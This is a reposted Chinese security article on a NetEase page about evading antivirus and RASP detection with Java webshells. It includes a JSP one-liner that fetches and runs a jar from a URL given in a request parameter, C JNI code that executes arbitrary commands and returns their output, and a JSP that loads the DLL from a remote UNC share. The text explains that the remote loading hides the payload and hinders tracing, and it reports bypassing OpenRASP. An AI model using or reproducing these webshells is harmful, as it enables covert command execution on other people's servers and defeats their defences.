网易首页 > 网易号 > 正文 申请入驻

webshell中的分离免杀实践-java篇

0
分享至

  声明

  由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

  描述

  前段时间看了倾旋的分离免杀直播,感觉像打开了免杀新世界的大门,jsp 中使用webshell 同样也有类似的手法。下面就让我们一起来看一看webshell中的分离免杀实践。

  方法一: 远程加载jar 包

  原理

  写一个load 脚本,利用java反射,可以远程加载jar 的webshell (画重点)

  webshell 实现

  1.利用java 反射知识,首先写一个人畜无害的远程加载jsp 脚本,通过远程加载的方式,把远程的jar 文件进行加载 (有害代码里都放jar里)

  <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%>

  

  2.远程部署的 jar 里放会被查杀的shell 代码,比如菜刀的一句话客户端(.java)文件,然后把该java 文件编译成jar 包即可。

  

  

  

  3: 加载远程jar进行菜刀连接

  

  

  方法二: 利用jni远程调用载入dll ,达到类似分离免杀的效果。

  在java中,Java无法直接访问到操作系统底层如硬件系统,为此Java提供了JNI(Java Native Interface )来实现对于底层的访问。JNI允许Java代码使用以其他语言编写的代码和代码库,本地程序中的函数也可以调用Java层的函数,即JNI实现了Java和本地代码间的双向交互。(画重点)

  DEMO及原理

  首先,我们来看个JNI的调用流程图

  

  实现步骤:

  java中可以使用native关键字来说明这个方法是原生函数,也就是这个方法是用C/C++语言实现的,并且被编译成了DLL,由java去调用。

  可以将native方法比作Java程序同C程序的接口,其实现步骤:

  

  1.   在Java中声明native()方法,然后编译;

      

  2.   用javah命令产生一个.h文件;

      

  3.   写一个.cpp文件实现native导出方法,其中需要包含第二步产生的.h文件(注意其中又包含了JDK带的jni.h文件);

      

  4.   将第三步的.cpp文件编译成动态链接库文件;

      

  5.   在Java中用System.loadLibrary()或者System.load()方法加载第四步产生的动态链接库文件,这个native()方法就可以在Java中被访问了。

      

  1: 首先编写一个.java 文件

  

  2: 然后把该java 文件编译成c文件

  

  

  其中需要注意生成的c文件里的头jni.h 是java安装home目录里的include 目录里,等会编译成dll 或者编译成so 文件的时候需要指定进行加载。

  

  3: 根据头文件,写C代码实现本地方法。

  根据头文件,写C文件实现本地方法

  #include "HelloNative.h"

  #include <stdio.h>

  JNIEXPORT void JNICALL Java_HelloNative_sayHello(JNIEnv *env, jclass jc)

  {

  printf("Hello,here from c,JNI");

  }

  4: 编译成dll 文件(win下编译的dll 或者linux 下编译so 文件一定要和目标服务器环境一致*3,重要的事情说三遍)

  gcc -m64 -Wl,--add-stdcall-alias -I "C:\\Program Files\\Java\\jdk1.8.0_161\\include" -I "C:\\Program Files\\Java\\jdk1.8.0_161\\include\\win32" -shared -o HelloNative.dll HelloNative.c

  我们可以看到,编译成功,然后执行,java 加载dll 链接库执行成功。这时,原理我们已经知道了,已经成功了一半了。

  

  webshell 实现

  假设我们的目标是tomcat 容器

  1: 新建package为org.apache.jsp, 类名为loadshell的.java文件。

  package org.apache.jsp;

  public class LoadShell

  {

  static class JniClass

  {

  public static native String exec( String string );

  }

  }

  2: 进行编译成h 文件

  cd到编译生成的target/class目录,使用 javah org.apache.jsp.LoadShell\$JniClass 命令生成 org_apache_jsp_LoadShell.h 文件

  

  

  3: 调用上一步生成头文件,编写有回显的c语言代码

  

  编写具有执行命令功能回显的c 代码

  #include "jni.h"

  #include "org_apache_jsp_LoadShell_JniClass.h"

  #include <string.h>

  #include <sys/types.h>

  #include <unistd.h>

  #include <stdlib.h>

  int execmd(const char *cmd, char *result)

  {

  char buffer[1024*12]; //定义缓冲区

  FILE *pipe = _popen(cmd, "r"); //打开管道,并执行命令

  if (!pipe)

  return 0; //返回0表示运行失败

  while (!feof(pipe))

  {

  if (fgets(buffer, 128, pipe))

  { //将管道输出到result中

  strcat(result, buffer);

  }

  }

  _pclose(pipe); //关闭管道

  return 1; //返回1表示运行成功

  }

  JNIEXPORT jstring JNICALL Java_org_apache_jsp_LoadShell_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)

  {

  const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);

  char result[1024 * 12] = ""; //定义存放结果的字符串数组

  if (1 == execmd(cstr, result))

  {

  // printf(result);

  }

  char return_messge[100] = "";

  strcat(return_messge, result);

  jstring cmdresult = (*env)->NewStringUTF(env, return_messge);

  //system();

  return cmdresult;

  }

  }

  4: 编译生成dll (再次提醒,一定要和目标服务器环境一致*3)

  

  5: 编写成可被中间件容器解析的jsp load文件。

  jsp load时有两种思路,一种是将该jsp文件和该dll放置于服务器的本地路径。jsp的代码里指定dll的绝对路径\\相对路径;另外一种是使用unc路径,这样恶意dll通过远程部署,加强隐蔽程度,加大溯源难度、提高部署灵活度。

  <%@ page contentType="text/html;charset=UTF-8" language="java" %>

  <%!

  class JniClass {

  public native String exec(String string);

  public JniClass() {

  //System.load("/Users/nano/IdeaProjects/untitled1/target/classes/libJniClass.jnilib");

  //System.load("C:\\\\Program Files\\\\Apache Software Foundation\\\\Tomcat 8.5\\\\webapps\\\\shellbypass\\\\1.dll");

  System.load("\\\\\\\\vmware-host\\\\Shared Folders\\\\test\\\\1.dll");

  }

  }

  ;

  %>

  <%

  String cmd = request.getParameter("cmd");

  JniClass jniClass = new JniClass();

  String res = jniClass.exec(cmd);

  %>

  <%=res%>

  注JNI shell:

  1:jsp load时有两种思路,一种是将该jsp文件和该dll放置于目标服务器的本地路径。jsp的代码里指定dll的绝对路径\\相对路径;另外一种是使用unc路径,这样恶意dll通过远程部署,加强隐蔽程度,加大溯源难度、提高部署灵活度。

  2:对于linux|mac环境,上一步生成的java内部类叫做JniClass,在类unix平台下,加载的库名需要为lib开头+JniClass+jnilib或者dylib。

  3: 核心的system.load|loadLibrary法是以File的形式载入dll、so文件,该dll、so 路径的以远程的方式加载的绝对路径,所以需要目标机器上测试判断环境是支持//,还是支持\\\\\\?简单判断方法是new file(path),然后判断file.exist。如果是前者的linux环境,需要想办法使用//的unc路径,推荐使用samba搭建匿名访问服务放置.jnilib载荷。如果是后者,即目标服务器为windows下的java应用,远程路径需要以\\\\\\\\开头,dll需要放在windows下,在windows平台下445不通的情况下,会访问WebDAV(开启webclient)的80端口下载下来dll执行。

  4: jni载荷的c、c++实现的代码要具备健壮性,避免目标环境的jvm奔溃。

  5: 使用system函数执行命令要小心被hids发现。

  6: 在tomcat 上测试成功

  

  bypass 百度安全的rasp 安全防护测试

  百度rasp 防护介绍

  Gartner 在2014年提出了 运行时应用自我保护 技术的概念,即 对应用服务的保护,不应该依赖于外部系统;应用应该具备自我保护的能力。OpenRASP 是该技术的开源实现,它改变了防火墙依赖请求特征来拦截攻击的模式。对于注入类的漏洞,我们可以识别用户输入的部分,并检查程序逻辑是否被修改。由于不依赖请求特征,每条报警都是成功的攻击。

  目前,OpenRASP 已经集成在多个商业主机安全软件里,也有大量客户将它部署至生产环境。

  给tomcat 开启rasp 应用防护

  

  0:原始菜刀马测试

  发现被rasp 拦截,无法执行命令,执行失败。

  

  

  1: 远程加载jar 方式绕过测试

  远程jar 的方式加载菜刀shell ,成功bypass ,无拦截。

  

  

  2:JNI 的dll 远程加载绕过测试

  JNI 远程加载dll ,成功bypass 。

  

  

  专注渗透测试技术

  全球最新网络攻击技术

  END

  ---

  ------

  ---------

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐

八省联考让江苏的考生领教了全国卷的“容易”

热门旅游线路分享
2021-01-27 10:44:29

你为什么还留着你的iPhone盒子?

无法分类俱乐部
2021-01-27 14:42:25

最好的维金斯!全场比赛真的不出一滴汗,解说:20分对嘴哥而言太正常不过

奔跑的赛场
2021-01-27 01:34:05

深圳女排阵容将诞生!前任女排主帅担任主教练,米哈拉西奇将加盟

欧阳小小瑜讲历史
2021-01-27 06:52:45

中国出口最多的不是服装鞋帽玩具

数有范
2021-01-26 22:21:12

苏州保时捷911参加车友集会飙车失控酿惨祸,曾被称全场最靓的仔

社会报料
2021-01-27 10:47:58

“姑娘,透亮的衣服你也买,身旁大爷脸都红了,太尴尬!”哇哈哈哈

学习方法论
2021-01-26 23:26:38

公务员职级并行后,四级调研员还是副处级吗?与副调研员有何不同?

城管驿站
2021-01-27 08:22:35

写给郭沫若的草书,气势恢宏、境界壮阔,不愧是古今第一人

生活带点乐趣
2021-01-27 08:16:44

美媒:杜特尔特不愿公开接种新冠疫苗,发言人称总统想“在臀部注射”

环球网资讯
2021-01-27 14:14:08

尴尬了!五年前被认为会终结小球时代的5大内线,4个变成了蓝领!

体育委员刘老师
2021-01-27 14:30:46

今天的股市,各位被吓到了吗?

钱包那些事儿
2021-01-27 00:55:10

这家千亿公司太能“生娃”了!刚分拆第二家上市,高瓴又买了!还要再拆2家冲刺科创板,全是热门概念

e公司
2021-01-27 12:35:25

29省份2020年GDP出炉:广东超11万亿 江苏破10万亿

中国新闻网
2021-01-27 00:18:48

郑爽父亲回应郑爽现在状态:一家人都崩溃,女儿是血的教训

小吉聊军事
2021-01-25 06:15:50

世界上总共有六位伟大的领袖,我国有两位上榜,俄罗斯也有两位

小豪科技站
2021-01-26 01:59:14

明天走势或将决定短期趋势

张春林
2021-01-27 16:49:07

广西:老者说肚子饿,好心人买了牛肉粉给他,老人只吃肉,米粉端起就倒了

擦车工聊车
2021-01-27 14:39:21

湖南台又一甜宠剧成最大黑马,收视率全网登顶,熬夜8集太过瘾

扒圈主持人
2021-01-27 10:30:10

别被洗脑了,这才是99%打工人的工资真相

开心的社会人
2021-01-27 09:57:56
2021-01-27 19:53:03
E安全
E安全
全球网络安全资讯新传媒
6927文章数 21985关注度
往期回顾 全部

科技要闻

官宣!余承东负责手机、汽车、云计算三大业务

头条要闻

女子骂支书草包被拘 央视:一个"草包"牵出一批"草包"

头条要闻

女子骂支书草包被拘 央视:一个"草包"牵出一批"草包"

体育要闻

大批民众纪念科比 父亲带女儿一同缅怀

娱乐要闻

华谊千金王文也晒男友视角照秀恩爱

财经要闻

汽车要闻

中期改款Q5L/国产A7L领衔 2021奥迪新车规划

态度原创

亲子
健康
时尚
艺术
本地

亲子要闻

吃一顿相当喝6桶地沟油,许多家长还盲目喂娃吃

为什么阴道炎总是反反复复?

张柏芝舞台上的一个表情 网友集体梦回20年前

艺术要闻

书店高颜值有特色,会成为“拍照道具”吗?

本地新闻

F1电竞,女司机的操作就...离谱!